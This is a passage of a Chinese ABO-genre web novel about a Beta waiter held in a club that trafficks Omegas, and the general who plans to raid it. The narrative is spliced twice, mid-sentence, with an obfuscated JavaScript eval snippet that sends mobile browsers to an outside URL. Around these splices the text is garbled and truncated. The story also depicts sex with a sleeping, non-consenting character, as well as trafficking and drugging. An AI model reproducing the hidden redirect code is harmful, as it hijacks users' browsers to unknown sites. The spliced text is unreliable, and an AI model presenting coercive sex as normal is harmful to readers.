他的脑袋从大衣中钻出来,头发有些乱糟糟的,额前碎发凌乱,下半张脸还贴着顾承砚的胸肌,只露出一双光泽湿润的眼。 顾承砚只看了一眼便移开视线。 他把耿诺往上托了托,沉声道:“抱紧,我要松手了。” 这人好像又在恐吓自己,耿诺环住他的脖子。 顾承砚果真松开手,竟然还弯下腰捡什么东西。 耿诺瞬间感到一股失重感,顾不得衣服会不会滑落,赶紧抬起两腿交叉夹住顾承砚的腰,用最牢固的姿势挂在他身上,像树袋熊一样。 生怕他真把自己摔地上。 顾承砚捡起地上的黑包和那两张可怜兮兮的银河法钞,环视一周,看上去这个逼仄的宿舍已经没有什么个人物品了,以防万一他还是问了句:“这里还有你自己的东西吗?” 耿诺瓮声回答:“没了。” 于是顾承砚就维持这个姿势带着人形挂件耿·树袋熊·诺回到之前的豪华套房去了。 顾承砚步伐很潇洒随意,两手插兜大步向前,耿诺就惨了,浑身上下没有一处支撑,全靠胳膊腿用力缠着对方。 实在是太危险了。 身上的衣服随时都有可能掉下来,露在外面的白玉胳膊小细腿已经是极致的暧昧,被大衣包裹着的部分更是引人遐想。 更何况那下面是真的不着寸缕。 每当在路上和别的服务生或者客人擦肩而过时,耿诺都觉得胳膊上立起一片寒毛,脚趾也忍不住蜷缩,只能把脸埋在顾承砚颈侧,祈祷这段路赶紧走完。 他羞于见人的模样让顾承砚很受用,嘴角微微勾起,抬手把衣服往上拉,盖住了耿诺的脑袋。 跟个好人似的。 耿诺本来自我催眠:我看不到别人别人就看不到我——心理建设十分完备。现在衣服盖住了头,下身隐隐约约感觉到凉风习习,他又开始忧心衣服不够长、遮不住他挂空挡的屁股缝。 好羞耻…… 啊啊啊!他知道,这件属于顾承砚的大衣足够长!但是凉飕飕的感觉也真的很鲜明!!! 回到之前的房间,顾承砚提溜着耿诺后颈把人从身上扯下来扔床上,见他又红了眼眶,不禁纳闷:“又怎么了?” 耿诺一沾床就把床单裹在身上,湿哒哒的黑色瞳孔充斥着怨念,他用最狠厉的眼神瞪过去,落在顾承砚身上也像被消解一般,毫无威慑力。 他似乎意识到自己根本无法奈他何,只能扁着嘴,声音微弱地谴责:“你欺负人。” “嗯。”顾承砚全盘接下他的指责,掐了把他的脸,“欺负你了。” 耿诺:“……”他好生气啊。 他无声反抗,方式也就是用床单把自己整个包裹住,缩成一个自闭球。 顾承砚似乎没打算现在剥开他,交代了句:“去把脸洗洗,等我回来。”竟然就出去了。 耿诺从床单里钻出来,确认他走了,赶紧下床把探测仪藏起来。 藏好后,囫囵洗了个战斗澡,裹着浴巾在床上坐着。 现在想想,今天的情绪来得很莫名,来到这里半个月,除了被顾承砚在床上欺负,耿诺也就刚来的时候流了两滴眼泪。 他很坚强的。 刚才确实抑制不住心中的委屈,哭了一通倒爽利了。加上顾承砚打得岔,被他欺负的情绪反而战胜了钱被偷的委屈。 他记得那几个人的脸,如果他们的同伙不把钱交出来,他就把今天那几个狠狠揍一顿,让他们把同伙供出来,再挨个收拾。 不会就这么跟他们算了的。 好不容易制成了探测仪,接下来就是查找逃跑路线了。 再忍忍,他就快逃出去了。 一冷静下来就身心俱疲。 耿诺歪倒在床上,静静数着心跳。 天黑了,外面好像有些嘈杂的声音,顾承砚始终没回来。 等着等着眼皮愈发沉重,耿诺不知不觉就睡着了。 顾承砚回来的时候就看到这幅光景,耿诺趴在床上睡得正香,微微打着小呼噜,浴袍的末端因为他不老实的睡姿卷起一截,隐隐露着屁股缝。 他轻手轻脚走过去,走到跟前把手里的东西往床边柜上一扔,“咚”得一声,睡梦中的耿诺腿无意识缩了下,但没醒。 顾承砚关了灯,单膝上床,三下五除二剥下耿诺的浴巾,捞起他的腰。 顺便在他屁股上拍了一巴掌。 “醒醒,把腰抬起来,”顾承砚面无表情勒令,细看的话,他脸上好像还有一丝转瞬即逝的羞恼,牙缝里挤出几个字:“多少年没干过这么丢人的事了,你睡得倒香……” 昏暗中,月光透过窗子映射进来,洒在耿诺白里透红的身上,一滴汗珠沿着他后仰的脖颈划下,闪着朦胧的光泽,越过交叠的两人,依稀看到床边柜上整齐地摞着两打银河法钞。 耿诺睡梦正酣,惨遭强制开机,浑浑噩噩中就被欺负了一通。 他都不明白发生了什么,睁眼时已经被钉在床和顾承砚之间。 等稍微清醒一点,嘴一扁就要哭,顾承砚陡然厉 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他心中有个猜测,随着这叠钞票越往下数,越接近他心中的猜测。 数到最后一张,耿诺感觉心跳重得让鼓膜都在震动,即使他不触碰,也能感觉到耳朵在火辣辣地发烫——他此刻心情是如此激动。 甚至无需再数一遍来确定数量。 ——213张银河法钞。 一张不多,一张不少。 正正好好是他被偷走的钱数。 天呐!什么叫峰回路转! 居然就这么回来了? “谁帮我讨回来的?顾承砚?”耿诺自言自语猜测,随即否认,“哈……怎么可能。” 他哪有那么好心。 耿诺把钱捧在手心,举过头顶,反复确认自己不是在做梦,往床上一歪,忘了腿还没扭回来,差点抽筋。 随后兴奋地在床上滚来滚去。 “万岁!万岁!”耿诺小声欢呼,仰躺在床上把钱高高举起,两腿踩着空气蹬来蹬去,快乐得像个小傻逼。 突然,耿诺余光瞥见一个倒影,落地窗前的椅子上似乎坐着个人。 !!! 真的假的?眼花了吧。 耿诺维持着仰头姿势定睛看去……靠!真有人! 他一个鲤鱼打挺坐起来,撑着床转身看过去,日照高头,落地窗带来的充足采光让屋内格外清透敞亮,也让坐在窗前的男人处在十足的逆光之中。 但这并不影响耿诺一眼就认出对方。 耿诺僵住了,低声脱口而出一句“我操”。 “顾、顾上将。”他干笑道:“……你,您没走啊。” 顾承砚穿着整齐地坐在单人沙发上,翘着二郎腿,脚踝搭着大腿,正百无聊赖地抵着额角,他的目光似乎始终注视着床的方向,或者说——耿诺,看上去注视了许久,专注、冷静、威严。他此刻就像是静待猎物自投罗网的猎人,带着一丝血腥的残忍。 闻言一挑眉梢,好整以暇地勾起唇,笑意不达眼底,问:“再说一遍,你、操、谁?” 18.第18章 “再说一遍,你操谁?” “啊……嗯……这个……那个……” 这让人怎么回答? 在耿诺大脑宕机的时候,顾承砚已经不知道什么时候起身走到床边。 逆光中,颀长的身影高大阴森,十分具有压迫感,耿诺最后一丝理智告诉他,丫就是想找茬,都是借口,他就是看自己不爽……认命吧! 虽说这样想,耿诺仍旧悄悄往后挪。 不能坐以待毙啊。 然后—— pia叽! 一声惨叫,耿诺从床上掉下来,摔了个四仰八叉。 空气似乎凝滞了那么一瞬。 从顾承砚的视角看过去,耿诺掉下去后整个人都被床遮住了,唯有一条手臂直挺挺冲出床沿,手心死死攥着那叠钞票。 顾承砚:“……” 多么顽强的意志,真是死都不放手啊。 耿诺仰躺在地上,视线从举起的胳膊移向握紧的拳头,他如同洪水中托举生命一样……托举着那叠钞票,又好似破土而出的竹笋在宣告自己顽强的生命,更像是黑暗中一团火焰在他的手心点燃。 这是生命,是信仰,是希望—— 耶,咱们Beta有力量。 这一次,失去的,他绝对不会再放手! 耿诺后腰一个使劲坐起来,刚一抬头就和床另一边的顾承砚对视上了。 “……” 顾承砚唇角勾起一个高深莫测的弧度,“数过了吗,够不够数?” 耿诺下意识点头,“……够。” “那就好。”顾承砚笑吟吟地盯着他,平白透着一股阴森。 不妙,大不妙。 一个激灵从尾椎窜向颅顶,危机感冲破意识的牢笼沿着血液进入四肢百骸,耿诺望了望手里的钱,又瞧向额头青筋鼓动的顾上将。 不需要任何思索,果断把手里的钱一扔,手脚并用爬上床,横穿到另一边,用扑的力度抱住了顾承砚。 “顾上将!谢谢您替我把钱要回来!您真是个好人!” 耿诺贴着他的腰腹,字正腔圆地喊道。 趁机把顾承砚的胳膊固在身体两侧,生怕他抬手打他。 顾承砚看出了他的小心思,不揭穿,但也不领情。 “我帮你要回来的?我怎么听到有人说不可能是我。谢我?”顾承砚哼笑,“现在又喊顾上将了,刚刚怎么喊的?再喊一遍我听听。”小鸡崽一样的胳膊劲,稍稍用力就能挣开,不过他没有这样做,只是心平气和地提醒:“还没骂完吧?接着骂啊。” 耿诺诚恳认罪,“小的有眼不识泰山。” 他今天终于深刻明白了那个道理——以后睁眼第一件事一定要确认屋里有没有人!能在心里嘀咕的就坚决不要说出声! ——这,就是古人常说的“君子慎独”的终极奥义! 否则一切背后蛐蛐人的行为都有可能成为贴脸开大…… 蠢啊耿小诺! 耿诺开始闭眼说瞎话:“在这个冷漠的俱乐部,谁还会帮助孤苦无依又弱小的我呢,只有您,顾上将。我只是受了太多伤,变得不敢相信别人了。” 他自觉情绪酝酿得十分到位,在顾承砚身上蹭了蹭,仰头努力释放真诚。殊不知他这一系列生动形象的过期套路看得顾承砚直咋舌。 真是够了。 “他们一共偷了你多少钱?”顾承砚把他推开,往他身上丢了件衣服。耿诺一看竟然是昨天休息穿的那种全套西装,接过来老老实实套在身上,边系扣子边回答:“213张银河法钞。” 顾承砚“嗯”了声,“就两万银河币。” 什么叫——就?! 耿诺一下子急了,恨不得跟他掰扯一通这213张银河法钞意味着什么,然而一抬头,发现顾承砚的眼神不知为何变得异常冷漠刺骨,瞬间怂了。 为这两万银河币,哭得那样可怜,到处是拙劣的马脚。 顾承砚想,最可笑的是,他竟然信了。 只是因为在床以外的地方看到这个小Beta哭吗? 他还寻思,哭这么委屈,至少也是丢了几十万。 毕竟,就算之前没有客人,从他手里赚的也至少二十万银河币起步了——除开烟酒娱乐等活动产生的提成,还有大笔为了演戏演全套而单独给皮克斯的服务生个人打赏。 大晚上把狂鲨搅和得人仰马翻,结果一问,人家就拿了二百张银河法钞。 二百张,二百张……区区两万,他简直要气笑了。 上次干讨债已经是多少年前了? 当年在黑市都没讨回过这么少的钱。 思绪萦绕在过去与此刻,纷纷扰扰的杂乱凝结成一股麻绳,将这个Beta束缚缠绕,一圈圈直至颈间,就好像他的手掌贴着肌肤一寸寸向上,然后陡然在纤细的脖颈收紧。顾承砚沉浸在恶欲的遐想中,突然听到一个微弱的声音,是下方的耿诺在弱弱地反驳:“是两万一千三。” 什么?他没反应过来。 “那一千三百银河币也是钱。”耿诺声音越来越小,但还是倔强地每个字都清晰地吐露出来。 他似乎做了很久心理建设才说出口,脸上认真地写着——“这是很大一笔钱,真的不可以四舍五入。” 顾承砚:“……” 他磨了磨后槽牙,怒极反笑。 耿诺说完这句话,缩回脑袋扣衬衫领子上最后一颗扣子,被顾承砚一瞪,手不听使唤,连着几下都没扣上。 顾承砚手掌贴过去挤开他的手,撑开衣领,抚着他的脖子抬起下巴,耿诺不得不把头高高昂起,手搭在顾承砚的小臂上,轻如薄羽。 他似乎没有推开的意图。 这让顾承砚产生些许满意。 宽大的手掌几乎能将耿诺半张脸裹住,脸颊和颈侧都能感受到手指粗糙的触感,传递心跳的血管贴着掌心的皮肉一鼓一鼓。 顾承砚此刻的心境已和昨晚截然不同。 昨晚罕见的情绪波动,弗兰甚至将其定义为恼羞成怒,他虽然不这么认为,但至少他没打算把情绪宣泄在耿诺身上。 这个Beta很聪明,知道如何不开口也能让别人心甘情愿替他出头。 但顾承砚没有被他蛊惑。 被偷钱这件事不管是真是假,顾承砚都乐意替他出头,至于恼怒的原因,大概是这笔钱金额实在太小……他清楚地知道自己在做什么。 昨天一整晚,只是他想讨的报酬。 但在今天早上皮克斯找他密谈之前,他得到了一份确切的情报。 从那份情报来看,他需要重新审视一下这个Beta。 放长线,钓大鱼。为了钓他这条大鱼,还真是费尽心机了。 像是在闲聊一样,顾承砚问了一个问题:“在我之前,你没有客人,皮克斯怎么会容忍你留在这里?” 那当然是因为波西男爵宴会需要一道主菜。 耿诺既不敢明谤也不敢腹诽,眼神闪烁,含糊回答:“可能因为皮克斯觉得我很特殊,或许有别的用处。” 这个答案落在顾承砚耳朵里,就是落实了他的猜测。 他冷笑一声,“还挺诚实。” 可惜了。 耿诺没想到,顾承砚在听到他这句话之后,脸上像凝成了一副面具,表情顷刻阴沉得仿佛能滴出水,锐利的目光利剑般能将他穿透。 他直觉对方一定误会了什么,刚想继续说些什么,却被打断,“好了。” “我知道了。”顾承砚结束了这个话题,态度一反往常,不再寻他作乐,而是轻佻地在他脸上拍了拍,交代道:“这次,记得把钱收好。” 耿诺点点头。 随即顾承砚松开手,绕过床尾向外走去。耿诺急忙跟着转过去,脱口问道:“您要离开吗?” 这完全是耿诺的下意识所为,可能是那失而复得的213张银河法钞让他对顾上将心存感激,或许是语气中不自觉带了些惶然急迫,听起来像是在挽留,顾承砚脚步顿了顿,微微侧身,眉梢眼尾挂着不易察觉的淡漠。 “你穿这身西服很好看,这几天就这样穿吧。”他语气轻缓,像是和之前没有什么不同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13730414|144217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“不用担心,你做得很好,作为皮克斯的大功臣,这点小事他不会为难你的。” “顾上将,等等……”耿诺再迟钝也能察觉到“大功臣”不是在夸他,可对方不再停下脚步,直接离开了。 发生了什么? 耿诺能明显感觉到顾承砚态度的转变,在他醒来之前的这段时间,究竟发生了什么? 心跳加速,他有种不详的预感。现下的情境已经容不得他多想,耿诺匆忙穿好衣服,拿出探测仪开始侦测俱乐部地形。 像他们这种服务生,并不是什么地方都能去的,在这里这么多天,耿诺发觉自己对这里的了解也不过十之一二。而他们日常惯走的路线,不论是上下楼还是前去服务的包厢套房,都会遇到很多人。这条人尽皆知的路线显然不利于他逃跑。 仪器上方凭空出现一个人脸大小的虚拟屏幕,俱乐部每层平面图纸依次出现在上面,连监控分布区域都一清二楚。耿诺越看越一身冷汗,除了日常巡逻的守卫和巡逻机,暗中竟然还藏了这么多监控,不过室内倒是没有分布,恐怕皮克斯也没胆给这些大人物的丑态留下影像。巡逻机和守卫的频次与他观察的别无二致。 耿诺循着记忆找到那伙人将他引导的地方,果然,那个地方人少,监控也几乎没有,很容易找到死角。他把从层楼单拉出来,几乎都有这么一个地方。 故意留出来干坏事的吧。 他又在建筑物外围发现三条突破率较高的路线,虽然不是百分百能避开巡逻机,但是如果小心一点,还是可以借着树林的阴影隐蔽过去的。 除此之外还有一个地方的警戒很弱, 耿诺的心怦怦跳,没想到一切这么容易。 他就要逃出去了。 将几条路线死死印刻在脑海中,内心抑制不住地狂喜,恨不得现在就冲去把计划付诸行动。 忍住,忍住。耿诺告诫自己,千万不能功亏一篑。 他还需要一个合适的时机,时间当然要在晚上,还得是在所有人都不注意他的情况下趁乱逃跑。 要在什么时候呢? 他已经敏锐地察觉到顾承砚的态度有了细微的变化,再这样下去恐怕很难利用他的庇护稳住皮克斯了。 耿诺不知道是什么造成的这种变化,但也无意细究,或许只是时间久了腻了,他自觉没做什么得罪顾承砚的事。既然对方对他兴趣减褪,他也要好好利用这一点。 按照他的预想,最好的时机就是顾承砚刚刚对他的关注度降低,且皮克斯还没来得及确认的时候。 “咚咚。”套房的门被敲响。 耿诺穿好衣服过来开门,门外站着的是何飞。 一开门,何飞像是被什么呛到一样,后退了一步,侧头掩面,暧昧地打趣,“哎呀,顾上将真是强势。” 耿诺闻不到,但他知道,他身上满是顾上将的信息素。 这正是他想要的效果。顾承砚的视线从他身上移开,但残留的信息素昭示着他的所有权归属,皮克斯仍不敢动他。 现下这个阶段,就是最佳的逃跑时机。 他装作毫不在意地问何飞:“怎么了?” “我是来提前恭喜你的,你马上就要出人头地了!”何飞掩饰不住惊喜。 “什么?”耿诺不明白。 “你还不知道吗?顾上将已经和皮老板达成了合作,三日后,这里将举行盛大的晚宴。” 耿诺震惊得声音变了调,“真的吗?” 什么时候?他怎么不知道。 “当然是真的!”何飞兴奋地说,“这次宴会之后,顾上将肯定会把你带回去,好兄弟,等发达了,可别忘了我啊!” 这次耿诺也抑制不住激动,好像对何飞的话充满期待。而他自己心里清楚,这就是他等待的那个千载难逢的机会。 三日后的盛大晚宴,没有人会把目光放在他身上,趁乱找不见一个Beta服务生也不会大张旗鼓地搜寻,这简直是上天都在眷顾耿诺。 沉浸在喜悦中的耿诺没注意到,何飞的激动的笑容中似乎掩盖着一丝诡异。 19.第19章 “那我们就说定了,顾上将,三日后见。”皮克斯恭敬送走顾承砚,这些日子奴颜卑膝弯下的腰终于直起来了。回到办公室,坐在躺椅上,老神在在地把腿翘到桌面上。何飞推门进来,殷勤地为他倒了杯红酒。 皮克斯两指托着高脚杯左右摇晃,放在鼻尖轻嗅,闭眼品味高档红酒为他带来的远超其本身的权欲味道。 “恭喜老板,一切都按照计划进行。” 皮克斯阖目“嗯”了声,交代:“把那个Beta准备好。” 他轻哼:“没想到这小子还有点用处,但到底不如Omega,可惜了,咱们准备好的都没用上,这次无论如何都要给顾上将看看,跟我们合作是多么一本万利的生意。” “自古英雄难过美人关。看吧,Alpha就是这种生物,情绪的奴隶、哪怕是帝国上将也不能免俗,瞧着吧,等见到被开发好的耿诺,他会彻底一头扎进去无法自拔的。” 何飞连连恭维,随后迟疑了下,有些忧虑地问道:“可是,就这样让顾上将插手进我们的生意,会不会……” 是个人都会忌惮顾上将的雄威势力,连皇帝陛下都不能免俗,现在把他拉入伙,会不会养虎为患呢? “有什么好担心的?”皮克斯掀起眼皮白了他一眼,十分嫌弃他的瞻前顾后,一点都没有成大事的气候,“顾上将不过是另一个莱特侯爵罢了,如果他老老实实合作,就能尝到权利巅峰和盆满钵满的畅快,如果不老实,那就是下一个冯行长。” 冯行长正是不久前拟上任的裴斯曼帝国银行行长,为了一个Omega冲昏了头,身败名裂……算算时间,这会儿命应该也没了。 “不管狂鲨的合伙人变成谁,这些贵族高官,不都还是给我打工的?哼哼……”这种一切尽在掌握中的感觉实在是太美妙了,皮克斯看来,他的伪装是多么精妙,只要装作顺从地对这些位高权重的Alpha们卑躬屈膝,时刻投其所好地捧着他们,就能让他们为自己所用。 如今成功把顾承砚上将拉入伙,狂鲨俱乐部低迷半个月的流水很快就能恢复巅峰。他相信,只要顾承砚尝到甜头,就一定会为他带来更多尊贵的客人。 ——与那些酒囊饭袋的世袭贵族不同的、行业翘楚与军事新贵。 “那个Beta就交给你了,这点小事可别给我办砸了。”皮克斯交代。 何飞赶忙殷勤笑道:“您放心。” · 裴斯曼帝国皇宫。 卫海跟着顾承砚前去谒见穆迩陛下。 顾承砚对着身着白色长袍的近侍总管点点头,“周总管,我来见陛下。” 周鸿躬身应道:“顾上将,陛下在政务殿等您。” 刚启步,不远处放灌木丛另一侧传来一些窃窃私语。 一个声音说:“什么?捉奸?皇后殿下终于忍不住去捉奸了?” 另一个声音连忙解释:“不是不是,是皇帝陛下捉奸!” “我才听说陛下偷偷纳了位花皇妃,怎么又变成皇后偷人了?” “是啊是啊,听说一大早被陛下堵在寝宫抓个正着,闹了一早上呢!” 顾承砚和卫路都没当回事,没想到周鸿听了却脸色一变,微微倾身低声道了句:“让上将见笑了。”随后快步从灌木丛后走过,显出身形,两个年轻宫人瞬间吓得两股战战,浑身直打哆嗦,舌头也捋不直了。 “周、周总管……” 周鸿不听他们的辩解求饶,当即让人把这两个嘴碎的宫人拖下去严惩。 卫海眉梢一挑,对周总管的雷厉风行并无二话,只是乐呵呵地提出一个疑惑:“有必要这么严厉吗?” 周鸿神情严肃。 卫海瞬间了然,面色讶异。 这次居然不是安排好的。 宫中关于帝后的种种传闻数不胜数,不管是恩爱有加还是两相厌憎,又或是皇后侍宠生娇干涉皇帝决策等等等等,基本上都是两人达成交易后互惠互利的计划,而这次声势浩大的捉奸传闻,按理来说也应该是计划的一部分。 毕竟闹得那样大,又是皇帝纳妃又是捉奸皇后,怎么看都是用疯狂的炒作掩盖一些真实目的。 可现在这封口的态度…… 顾承砚问:“计划出了什么岔子?” 周鸿叹了口气,“不是计划出了岔子,而是这件事根本不在计划之内。” “什么意思?” 周鸿简单解释道:“希洛殿下的旧友柯恩少爷回来了,这些天两人有些私下交往……” 后面的话不必多说,顾承砚已然心中有数。 帝后互相闹脾气,希洛不让穆迩回寝宫,穆迩就不让希洛出寝宫,两人在互相较劲。八成是希洛在寝宫接见了那位传说中的“竹马”,皇帝醋包炸了,不顾场合当众撒泼,苦了周总管跟在屁股后面疯狂封口。 这就是所谓的“捉奸”。 说话间,几人已经来到政务殿的前庭。 “陛下不是新纳了皇妃?怎么不借此机会把新皇妃带过去刺激一下?”顾承砚眼中带着兴味。 “哪里拿得出手。”周鸿无奈地摇摇头,抬手往边上一指,“新晋的花皇妃在那儿呢。” 跟随手指的方向看去,一只花皮大狸猫正在太阳底下慵懒地舔蛋蛋,姿势十分不雅,毫无成为皇妃的自觉。 周鸿一脸没眼看。 卫海十分放肆地确认了一下,“是个公的。” 动物没有ABO分化,只分公母,类比来讲,这位皇妃和陛下是同性中的同性。 “没关系。”周鸿声音中饱含接受现实的沧桑,“陛下已经赐它Omega性别了。” 顾上将十分没同情心地笑出了声。 上了二楼,皇帝办公室的门半开着,穆迩正坐在办公桌后处理文件。顾承砚曲起手指在门上轻叩两下。 “所以,尊贵的陛下,您还好吗?” 没有人回答他。 穆迩工作时总是蹙着眉,看起来严肃又正经,和那个在寝宫外撒泼的皇帝迥然不同。 他早就从眼尾余光注意到了顾上将的造访,但并未抬头,专心致志于桌上厚厚一沓文件。 顾承砚被忽视也丝毫不在意,带着卫海踱步走进来,他今天穿着一身板正的军装,胸口象征至高荣耀的帝国羽翼勋章闪着光辉,大摇大摆地坐在穆迩陛下对面,慵懒地翘着二郎腿,整个人透着股邪痞气。卫海则站在他身后。 “别把你那副市井流氓习性带到皇宫。”穆迩终于无法忽视顾承砚的存在,忍无可忍道:“你知不知道每次你一进宫,那些宫人都过来偷瞧你,私下还会模仿你的行为举止。” “是吗?我怎么不知道我的风评和人气这么高了。”顾承砚放下腿,“不过现在宫人们恐怕正专注于帝后新鲜出炉的八卦。” 一声嘶哑的猫叫传来,穆迩这才注意到顾承砚不知道什么时候把花皇妃捞怀里抱上来了。 “……大胆。”穆迩眼角抽搐,堪堪忍住翻白眼的冲动。 顾承砚耸耸肩,还在火上浇油,“多好的一副好牌啊,希洛殿下差点就动容了,可惜对手是人,不是猫咪。” 捏着花皇妃的后颈皮提到眼前,天蓝色的瞳仁竖起,干巴巴地“喵”一声,收获了顾上将的嫌弃,往旁边一扔,拍拍手,劝慰道:“打不过的,放弃吧。” 关你屁事!穆迩终于想起自己还有皇帝的权威能让顾承砚闭嘴,恶狠狠地把资料往桌上一扔,梗着脖子硬声道:“够了,让我们来谈谈正事吧。” 顾承砚淡淡微笑:“正有此意,陛下。” 卫海上前向皇帝陛下作了报告,穆迩的神色愈发严肃。 “也就是说,狂鲨俱乐部明面上是为贵族提供娱乐泄欲的享受之地,背地里却做着贩卖人口的勾当。” 卫海点点头,“皮克斯为了拉拢顾上将,已经全盘托出,甚至将账本拿了出来。狂鲨最大的幕后交易就是像贵族输送孤苦伶仃的Omega以供享乐。他们有一种药物,可以控制Omega,将其随意调.教成喜欢的样子,我们推测这种药是一种神经类的新型毒品,吃下这种药的Omega会失去自我意识,对主人言听计从,是比人工智能更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“在狂鲨做服务生的人无一例外都要交一份投名状,那就是为狂鲨提供‘货品’。‘货品’以贫困潦倒、举目无亲的Omega为佳,交上投名状,就能留在狂鲨,交不出投名状,就会沦为‘货品’。皮克斯以业绩为饵,让留下来的人继续招揽‘货品’。” 文件上的“业绩”触目惊心,但据卫海所说这只是冰山一角,时间紧迫,他们并没有拿到全部的账本,而且从皮克斯言语中透露,很多东西不会留下详细记录,因为事关这些有头有脸的贵族,当然不会留下什么把柄。 “围剿时可以把资料全部拷贝,但是被彻底销毁的恐怕难以恢复。”卫海道。 穆迩:“无妨。” 顾承砚说:“可以从到场的贵客身上反推,他们的家中总会留下些痕迹。” 穆迩点点头,“如果有幸存者,一定要解救出来,如果真的枉死在这些渣滓手里,也不能让他们就这么无声无息地消失在这个世界上。” 他忖度一会儿,想起一件事,“那些俱乐部的工作人员你打算怎么处置?” 顾承砚似乎有些意外,反问道:“还能怎么处置?” 穆迩挑了挑眉,神情较之刚刚从容不少,甚至有心情打趣,“不留个活口?” “有必要吗?”顾承砚淡淡瞥去一眼。 穆迩耸耸肩,不置可否。 卫海左右看看,皇帝和上将在打哑谜,但他也大致能猜出他们的谈论对象。 ——那个Beta服务生,耿诺。 出于私心,卫海也不想让他死,不管怎么说,这个长得像Omega的Beta能让上将破戒,留着总会有些用处,就这么杀了实在有些可惜。 但既然上将心意已决,那便不容置喙。 兴许和他一样想法的人不止一个,皇帝陛下那日也在场,着实被顾上将计划外的“逢场作戏”吓了一跳,穆迩摇摇头,饶有兴致地问:“他在你眼中算什么?” 顾承砚思考了几秒,耸耸肩,淡漠得好似在谈论一个素昧谋面的陌生人。 “算死人。”